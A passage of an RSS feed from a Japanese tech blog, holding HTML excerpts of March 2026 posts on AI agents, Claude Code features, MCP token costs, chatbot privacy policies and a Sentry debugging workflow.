&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Asana&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;開発会社の PM・経営者&lt;/td&gt;
&lt;td&gt;開発会社の責任者が状況を把握するため&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GitHub&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;開発担当者&lt;/td&gt;
&lt;td&gt;作業担当者が実装・コード変更を管理するため&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="3層の責任構造"&gt;3層の責任構造&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;利用者（顧客） 開発会社（経営・PM） 開発会社（作業担当）
│ │ │
Backlog Asana GitHub
課題確認会で 経営判断・ Issue/PR で
進捗レビュー リソース配分 実装を管理
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;各システムは&lt;strong&gt;異なるステークホルダーが、それぞれの責任範囲で状況を把握する&lt;/strong&gt;ために存在する。
これは冗長ではなく、&lt;strong&gt;報告先ごとに適切な粒度・視点で情報を提供する&lt;/strong&gt;ための構造。&lt;/p&gt;
&lt;h2 id="担当者の課題-今何をすべきかの判断"&gt;担当者の課題: 「今何をすべきか」の判断&lt;/h2&gt;
&lt;p&gt;3システムはどれも&lt;strong&gt;他者への報告用&lt;/strong&gt;であって、担当者が「自分が次に何をやるか」を整理する場所ではない。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;システム&lt;/th&gt;
&lt;th&gt;読者&lt;/th&gt;
&lt;th&gt;自分の優先度確認に使えるか&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Backlog&lt;/td&gt;
&lt;td&gt;利用者の責任者&lt;/td&gt;
&lt;td&gt;△ 顧客視点の優先度であって自分の作業順ではない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Asana&lt;/td&gt;
&lt;td&gt;開発会社の経営・PM&lt;/td&gt;
&lt;td&gt;△ 経営視点のフィルタがかかっている&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitHub (epm-server)&lt;/td&gt;
&lt;td&gt;作業担当者&lt;/td&gt;
&lt;td&gt;△ Issue は技術タスク単位で、全体俯瞰しにくい&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="解決策-claude-code-でタスクトリアージ--プライベートリポジトリの-issue-に記録"&gt;解決策: Claude Code でタスクトリアージ → プライベートリポジトリの Issue に記録&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;タスクトリアージ（状況分析と優先度づけ）は Claude Code セッション&lt;/strong&gt;で行い、&lt;strong&gt;結論の記録先は社内プライベートリポジトリの GitHub Issue&lt;/strong&gt; に置く。&lt;/p&gt;</description></item><item><title>AI エージェント入門 — 元 Meta エンジニアが説く「オートメーションとエージェントの決定的な違い」</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%85%A5%E9%96%80-%E5%85%83-meta-%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%81%8C%E8%AA%AC%E3%81%8F%E3%82%AA%E3%83%BC%E3%83%88%E3%83%A1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%A8%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E6%B1%BA%E5%AE%9A%E7%9A%84%E3%81%AA%E9%81%95%E3%81%84/</link><pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%85%A5%E9%96%80-%E5%85%83-meta-%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%81%8C%E8%AA%AC%E3%81%8F%E3%82%AA%E3%83%BC%E3%83%88%E3%83%A1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%A8%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E6%B1%BA%E5%AE%9A%E7%9A%84%E3%81%AA%E9%81%95%E3%81%84/</guid><description>&lt;p&gt;AI エージェント入門 — 元 Meta エンジニアが説く「オートメーションとエージェントの決定的な違い」&lt;/p&gt;
&lt;h1 id="ai-エージェント入門--元-meta-エンジニアが説くオートメーションとエージェントの決定的な違い"&gt;AI エージェント入門 — 元 Meta エンジニアが説く「オートメーションとエージェントの決定的な違い」&lt;/h1&gt;
&lt;p&gt;「AI エージェント」という言葉が溢れる2026年。しかし、本当に「エージェント」と呼べるものはどれだけあるのでしょうか。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/kgsi/status/2027951826482463149"&gt;@kgsi（こぎそ）さんのポスト&lt;/a&gt;で紹介されていた、元 Meta ソフトウェアエンジニア &lt;a href="https://www.linkedin.com/in/vasumanmoza"&gt;Vasuman Moza 氏&lt;/a&gt;の「&lt;a href="https://x.com/vasuman/status/2011923440769659132"&gt;AI Agents 101&lt;/a&gt;」は、コードを書く前に理解すべきエージェントの本質を明快に整理しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;If you want to learn how to build AI Agents, read this before you write a single line of code.&amp;rdquo;
（AI エージェントの構築を学びたいなら、コードを1行書く前にこれを読め）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この記事では、Vasuman 氏のガイドの要点と、エンジニアが押さえるべきポイントを解説します。&lt;/p&gt;
&lt;h2 id="オートメーション-vs-エージェント--根本的な違い"&gt;オートメーション vs エージェント — 根本的な違い&lt;/h2&gt;
&lt;p&gt;最も重要な区別は、&lt;strong&gt;指示（instructions）&lt;/strong&gt; と &lt;strong&gt;目標（goals）&lt;/strong&gt; の違いです。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;オートメーション&lt;/th&gt;
&lt;th&gt;エージェント&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;入力&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;事前に決められた手順（指示）&lt;/td&gt;
&lt;td&gt;達成すべきゴール（目標）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;動作&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ルール通りに実行&lt;/td&gt;
&lt;td&gt;状況を観察しながら自律的に判断・行動&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;例外処理&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ルール外は停止 or エラー&lt;/td&gt;
&lt;td&gt;文脈を理解して適応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;代表例&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RPA、cron ジョブ、IFTTT&lt;/td&gt;
&lt;td&gt;Claude Code、Devin、カスタム AI エージェント&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;一言で言えば：&lt;/p&gt;</description></item><item><title>AIチャットボットのプライバシー問題 — スタンフォード大学の研究が暴いた6社の構造的欠陥</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%83%81%E3%83%A3%E3%83%83%E3%83%88%E3%83%9C%E3%83%83%E3%83%88%E3%81%AE%E3%83%97%E3%83%A9%E3%82%A4%E3%83%90%E3%82%B7%E3%83%BC%E5%95%8F%E9%A1%8C-%E3%82%B9%E3%82%BF%E3%83%B3%E3%83%95%E3%82%A9%E3%83%BC%E3%83%89%E5%A4%A7%E5%AD%A6%E3%81%AE%E7%A0%94%E7%A9%B6%E3%81%8C%E6%9A%B4%E3%81%84%E3%81%9F6%E7%A4%BE%E3%81%AE%E6%A7%8B%E9%80%A0%E7%9A%84%E6%AC%A0%E9%99%A5/</link><pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%83%81%E3%83%A3%E3%83%83%E3%83%88%E3%83%9C%E3%83%83%E3%83%88%E3%81%AE%E3%83%97%E3%83%A9%E3%82%A4%E3%83%90%E3%82%B7%E3%83%BC%E5%95%8F%E9%A1%8C-%E3%82%B9%E3%82%BF%E3%83%B3%E3%83%95%E3%82%A9%E3%83%BC%E3%83%89%E5%A4%A7%E5%AD%A6%E3%81%AE%E7%A0%94%E7%A9%B6%E3%81%8C%E6%9A%B4%E3%81%84%E3%81%9F6%E7%A4%BE%E3%81%AE%E6%A7%8B%E9%80%A0%E7%9A%84%E6%AC%A0%E9%99%A5/</guid><description>&lt;h2 id="aiチャットボットにあなたのプライバシーは存在しない--スタンフォード大学が暴いた構造的欠陥"&gt;AIチャットボットにあなたのプライバシーは存在しない — スタンフォード大学が暴いた構造的欠陥&lt;/h2&gt;
&lt;p&gt;スタンフォード大学の研究チームが、米国の主要AIチャットボット6社のプライバシーポリシーを体系的に分析した論文 &lt;em&gt;&amp;ldquo;User Privacy and Large Language Models&amp;rdquo;&lt;/em&gt; を発表しました。その結論は明確です——&lt;strong&gt;全6社がユーザーの会話データをデフォルトでモデル学習に利用しており、実効的な保護は極めて限定的&lt;/strong&gt;です。&lt;/p&gt;
&lt;h3 id="論文概要"&gt;論文概要&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;タイトル&lt;/td&gt;
&lt;td&gt;User Privacy and Large Language Models: An Analysis of Frontier Developers&amp;rsquo; Privacy Policies&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;著者&lt;/td&gt;
&lt;td&gt;Jennifer King, Kevin Klyman, Fotis Gaspelos, Tiffany Saade, Victoria Bhatt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;所属&lt;/td&gt;
&lt;td&gt;Stanford University&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;発表&lt;/td&gt;
&lt;td&gt;2025年10月（AAAI AIES 掲載）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;論文&lt;/td&gt;
&lt;td&gt;&lt;a href="https://arxiv.org/abs/2509.05382"&gt;arXiv:2509.05382&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="対象6社"&gt;対象6社&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;企業&lt;/th&gt;
&lt;th&gt;チャットボット&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Amazon&lt;/td&gt;
&lt;td&gt;Nova&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Anthropic&lt;/td&gt;
&lt;td&gt;Claude&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;td&gt;Gemini&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Meta&lt;/td&gt;
&lt;td&gt;Meta AI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft&lt;/td&gt;
&lt;td&gt;Copilot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenAI&lt;/td&gt;
&lt;td&gt;ChatGPT&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id="1-データの統合-会話が資産として再利用される構造"&gt;1. データの「統合」—— 会話が資産として再利用される構造&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;全6社がデフォルトでモデル学習に利用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Anthropic は長らく「消費者の会話データを学習に使わない」と差別化していましたが、2025年9月にオプトイン → オプトアウトへ転換。これにより全6社がデフォルト学習利用に揃いました。&lt;/p&gt;</description></item><item><title>Anthropic Wealth Management AI ツール（Claude CoWork）記事要約・考察</title><link>https://hdknr.github.io/blogs/posts/2026/03/anthropic-wealth-management-ai-%E3%83%84%E3%83%BC%E3%83%ABclaude-cowork%E8%A8%98%E4%BA%8B%E8%A6%81%E7%B4%84%E8%80%83%E5%AF%9F/</link><pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/anthropic-wealth-management-ai-%E3%83%84%E3%83%BC%E3%83%ABclaude-cowork%E8%A8%98%E4%BA%8B%E8%A6%81%E7%B4%84%E8%80%83%E5%AF%9F/</guid><description>&lt;h1 id="anthropic-が-wealth-management-向け-ai-ツールclaude-coworkを発表--agentic-ai-時代の幕開け"&gt;Anthropic が Wealth Management 向け AI ツール「Claude CoWork」を発表 — Agentic AI 時代の幕開け&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;元記事: &lt;a href="https://www.wealthmanagement.com/artificial-intelligence/agentic-ai-101-for-advisors-as-anthropic-launches-wealth-management-tools"&gt;Agentic AI 101 for Advisors as Anthropic Launches Wealth Management Tools&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="記事概要"&gt;記事概要&lt;/h2&gt;
&lt;p&gt;Anthropic が、ウェルスマネジメント（資産管理）業界向けの &lt;strong&gt;Claude CoWork プラグイン&lt;/strong&gt; を発表した。これは金融アドバイザー向けに設計された AI ツールで、ポートフォリオ分析や税務分析、リバランス推奨など、従来人手で行っていた業務を自動化する。&lt;/p&gt;
&lt;p&gt;Anthropic は設立5年で従業員約3,000名、シリーズGラウンドで300億ドルを調達し、評価額は3,800億ドルに達している。LPL Financial との関係拡大も発表されており、金融業界への本格参入が明確になった。&lt;/p&gt;
&lt;h2 id="agentic-ai-の定義--4つの要素"&gt;Agentic AI の定義 — 4つの要素&lt;/h2&gt;
&lt;p&gt;Vestmark CTO の &lt;strong&gt;Freedom Dumlao&lt;/strong&gt; 氏は、真の「エージェント」を構成する4つの継続的機能を定義している:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;要素&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;認識（Sense）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;環境のコンテキストを認識する — 利用可能なツール、現在のシステム状態&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;思考（Think）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;目標と現在の理解に基づいて、次のステップを独立して推論する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;行動（Act）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ツールの使用、データの変更、ワークフローのトリガーなど、観察可能な効果を実行する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;記憶（Remember）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;インタラクション間で情報を保持し、将来の行動を改善する&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;「システムが4つ全てを行うなら、それはエージェントです。2つか3つなら、便利なツールかもしれませんが、エージェントと呼ぶのは満たせない期待を設定することになります」 — Freedom Dumlao, Vestmark CTO&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この定義は、単なるチャットボットや RAG システムと真のエージェントを区別する明確な基準として有用だ。&lt;/p&gt;
&lt;h2 id="claude-cowork-の主要機能"&gt;Claude CoWork の主要機能&lt;/h2&gt;
&lt;h3 id="ポートフォリオ分析の自動化"&gt;ポートフォリオ分析の自動化&lt;/h3&gt;
&lt;p&gt;顧客のポートフォリオを自動で分析し、リスク配分やパフォーマンスの洞察を提供する。&lt;/p&gt;</description></item><item><title>Claude Code が汎用AIエージェント基盤へ進化 — Auto Memory・Remote Control・Scheduled Tasks の全貌</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%8C%E6%B1%8E%E7%94%A8ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%9F%BA%E7%9B%A4%E3%81%B8%E9%80%B2%E5%8C%96-auto-memoryremote-controlscheduled-tasks-%E3%81%AE%E5%85%A8%E8%B2%8C/</link><pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%8C%E6%B1%8E%E7%94%A8ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%9F%BA%E7%9B%A4%E3%81%B8%E9%80%B2%E5%8C%96-auto-memoryremote-controlscheduled-tasks-%E3%81%AE%E5%85%A8%E8%B2%8C/</guid><description>&lt;h2 id="claude-code-が汎用aiエージェント基盤へ進化--auto-memoryremote-controlscheduled-tasks-の全貌"&gt;Claude Code が「汎用AIエージェント基盤」へ進化 — Auto Memory・Remote Control・Scheduled Tasks の全貌&lt;/h2&gt;
&lt;p&gt;2026年2月、Anthropic は Claude Code に3つの重要なアップデートを投入しました。これらを組み合わせると、オープンソースの自律AIエージェント &lt;strong&gt;OpenClaw&lt;/strong&gt; に近い体験が、公式機能だけで実現できる可能性が見えてきます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;参考ツイート: &lt;a href="https://x.com/Fujin_Metaverse/status/2027936819086856280"&gt;@Fujin_Metaverse&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3 id="3つのアップデート概要"&gt;3つのアップデート概要&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;th&gt;概要&lt;/th&gt;
&lt;th&gt;リリース&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auto Memory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AIが自分で学習内容を記憶・蓄積する&lt;/td&gt;
&lt;td&gt;2026年2月&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Remote Control&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;スマホからPCのClaude Codeを操作&lt;/td&gt;
&lt;td&gt;2026年2月25日&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cowork Scheduled Tasks&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;指定時間に自動でタスクを実行&lt;/td&gt;
&lt;td&gt;2026年2月24日&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id="1-auto-memory--aiが自分でメモを取りセッションを超えて記憶する"&gt;1. Auto Memory — AIが自分でメモを取り、セッションを超えて記憶する&lt;/h3&gt;
&lt;h4 id="仕組み"&gt;仕組み&lt;/h4&gt;
&lt;p&gt;Claude Code がプロジェクトごとに &lt;code&gt;MEMORY.md&lt;/code&gt; ファイルを自動作成し、以下のような情報を蓄積していきます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;プロジェクトのビルドコマンド、コードスタイル&lt;/li&gt;
&lt;li&gt;アーキテクチャの決定事項&lt;/li&gt;
&lt;li&gt;デバッグで解決したトリッキーなバグ&lt;/li&gt;
&lt;li&gt;ユーザーのワークフローやコミュニケーションスタイル&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="技術的な詳細"&gt;技術的な詳細&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;保存場所&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~/.claude/projects/&amp;lt;encoded-path&amp;gt;/memory/MEMORY.md&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;読み込み&lt;/td&gt;
&lt;td&gt;セッション開始時に&lt;strong&gt;最初の200行&lt;/strong&gt;をシステムプロンプトに自動注入&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Git&lt;/td&gt;
&lt;td&gt;ローカル保存のみ。Git にはコミットされない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;管理&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/memory&lt;/code&gt; コマンドで確認・編集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;無効化&lt;/td&gt;
&lt;td&gt;設定ファイルまたは環境変数でオフ可能&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="claudemd-との違い"&gt;CLAUDE.md との違い&lt;/h4&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;CLAUDE.md → ユーザーが手動で書くルール・指示書（チーム共有可能）
MEMORY.md → AIが自動で書く学習メモ（ローカル個人用）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;両方を併用するのがベスト。&lt;code&gt;CLAUDE.md&lt;/code&gt; でプロジェクトのルールを明示し、&lt;code&gt;MEMORY.md&lt;/code&gt; でAIの学習知見を蓄積します。&lt;/p&gt;</description></item><item><title>MCP のトークン消費問題 — スキーマ注入で 55,000 トークン、CLI は 35 倍効率的</title><link>https://hdknr.github.io/blogs/posts/2026/03/mcp-%E3%81%AE%E3%83%88%E3%83%BC%E3%82%AF%E3%83%B3%E6%B6%88%E8%B2%BB%E5%95%8F%E9%A1%8C-%E3%82%B9%E3%82%AD%E3%83%BC%E3%83%9E%E6%B3%A8%E5%85%A5%E3%81%A7-55000-%E3%83%88%E3%83%BC%E3%82%AF%E3%83%B3cli-%E3%81%AF-35-%E5%80%8D%E5%8A%B9%E7%8E%87%E7%9A%84/</link><pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/mcp-%E3%81%AE%E3%83%88%E3%83%BC%E3%82%AF%E3%83%B3%E6%B6%88%E8%B2%BB%E5%95%8F%E9%A1%8C-%E3%82%B9%E3%82%AD%E3%83%BC%E3%83%9E%E6%B3%A8%E5%85%A5%E3%81%A7-55000-%E3%83%88%E3%83%BC%E3%82%AF%E3%83%B3cli-%E3%81%AF-35-%E5%80%8D%E5%8A%B9%E7%8E%87%E7%9A%84/</guid><description>&lt;h1 id="mcp-のトークン消費問題--スキーマ注入で-55000-トークンcli-は-35-倍効率的"&gt;MCP のトークン消費問題 — スキーマ注入で 55,000 トークン、CLI は 35 倍効率的&lt;/h1&gt;
&lt;p&gt;Claude Code や OpenClaw で MCP（Model Context Protocol）を使っている方に知ってほしい事実があります。MCP はスキーマ注入だけで数万トークンを消費しており、同じタスクを CLI 経由で実行すると &lt;strong&gt;35 倍効率的&lt;/strong&gt; になるケースがあるのです。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/SuguruKun_ai/status/2026958295857344532"&gt;@SuguruKun_ai さんのポスト&lt;/a&gt; と &lt;a href="https://x.com/shinzizm2/status/2026976707983684021"&gt;@shinzizm2 さんのポスト&lt;/a&gt; でこの問題が指摘され、大きな反響を呼びました。&lt;/p&gt;
&lt;h2 id="mcp-のトークン消費問題とは"&gt;MCP のトークン消費問題とは&lt;/h2&gt;
&lt;h3 id="スキーマ注入の仕組み"&gt;スキーマ注入の仕組み&lt;/h3&gt;
&lt;p&gt;MCP サーバーを接続すると、&lt;strong&gt;ツール定義（スキーマ）がシステムプロンプトに注入&lt;/strong&gt;されます。これは AI が「どんなツールを使えるか」を理解するために必要な情報ですが、この定義自体が大量のトークンを消費します。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;MCP サーバー接続時の処理:
1. tools/list でツール一覧を取得
2. 各ツールの名前、説明、パラメータ定義を取得
3. 全てのスキーマをプロンプトに注入 ← ここで大量消費
4. ユーザーの質問に回答
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;あなたが何も入力する前に、スキーマだけでトークンが消費されている&lt;/strong&gt;のです。&lt;/p&gt;
&lt;h3 id="具体的な数値"&gt;具体的な数値&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;MCP サーバー&lt;/th&gt;
&lt;th&gt;ツール数&lt;/th&gt;
&lt;th&gt;トークン消費量&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;GitHub MCP サーバー&lt;/td&gt;
&lt;td&gt;93 ツール&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;約 55,000 トークン&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Notion サーバー&lt;/td&gt;
&lt;td&gt;15+ ツール&lt;/td&gt;
&lt;td&gt;約 8,000 トークン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ファイルシステム&lt;/td&gt;
&lt;td&gt;10 ツール&lt;/td&gt;
&lt;td&gt;約 4,000 トークン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;平均的なツール定義&lt;/td&gt;
&lt;td&gt;1 ツール&lt;/td&gt;
&lt;td&gt;300〜600 トークン&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;GitHub MCP サーバーの場合、93 ツール分のスキーマには &lt;code&gt;owner&lt;/code&gt;、&lt;code&gt;repo&lt;/code&gt;、&lt;code&gt;title&lt;/code&gt; 等のプロパティ定義、&lt;code&gt;required&lt;/code&gt; フィールド、入出力スキーマが全て含まれます。&lt;/p&gt;</description></item><item><title>Sentry × Claude Code で実現する AI デバッグワークフロー — エラー監視から自動修正まで</title><link>https://hdknr.github.io/blogs/posts/2026/03/sentry-claude-code-%E3%81%A7%E5%AE%9F%E7%8F%BE%E3%81%99%E3%82%8B-ai-%E3%83%87%E3%83%90%E3%83%83%E3%82%B0%E3%83%AF%E3%83%BC%E3%82%AF%E3%83%95%E3%83%AD%E3%83%BC-%E3%82%A8%E3%83%A9%E3%83%BC%E7%9B%A3%E8%A6%96%E3%81%8B%E3%82%89%E8%87%AA%E5%8B%95%E4%BF%AE%E6%AD%A3%E3%81%BE%E3%81%A7/</link><pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/sentry-claude-code-%E3%81%A7%E5%AE%9F%E7%8F%BE%E3%81%99%E3%82%8B-ai-%E3%83%87%E3%83%90%E3%83%83%E3%82%B0%E3%83%AF%E3%83%BC%E3%82%AF%E3%83%95%E3%83%AD%E3%83%BC-%E3%82%A8%E3%83%A9%E3%83%BC%E7%9B%A3%E8%A6%96%E3%81%8B%E3%82%89%E8%87%AA%E5%8B%95%E4%BF%AE%E6%AD%A3%E3%81%BE%E3%81%A7/</guid><description>&lt;p&gt;Sentry × Claude Code で実現する AI デバッグワークフロー — エラー監視から自動修正まで&lt;/p&gt;
&lt;h1 id="sentry--claude-code-で実現する-ai-デバッグワークフロー--エラー監視から自動修正まで"&gt;Sentry × Claude Code で実現する AI デバッグワークフロー — エラー監視から自動修正まで&lt;/h1&gt;
&lt;p&gt;「バグが起きたら Sentry が検知し、AI が分析して修正案を出す」— そんなワークフローが現実になっています。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/riku720720/status/2027967084815356030"&gt;@riku720720（Rikuo）さんのポスト&lt;/a&gt;は、この流れを端的にまとめています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「アプリ開発する上でsentryは必須。sentry APIをskillsにすればユーザーのバグとか不具合とか全部分析できる。claudecodeの新機能/batchで一気に改善してもらう」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この記事では、Sentry の全体像から Claude Code との連携、そして実践的なワークフローまでを解説します。&lt;/p&gt;
&lt;h2 id="sentry-とは"&gt;Sentry とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://sentry.io/"&gt;Sentry&lt;/a&gt; は、&lt;strong&gt;開発者ファーストのエラートラッキング＆パフォーマンス監視プラットフォーム&lt;/strong&gt;です。100以上のプラットフォーム・フレームワーク、30以上のプログラミング言語に対応しています。&lt;/p&gt;
&lt;h3 id="単なるエラーログではない"&gt;単なるエラーログではない&lt;/h3&gt;
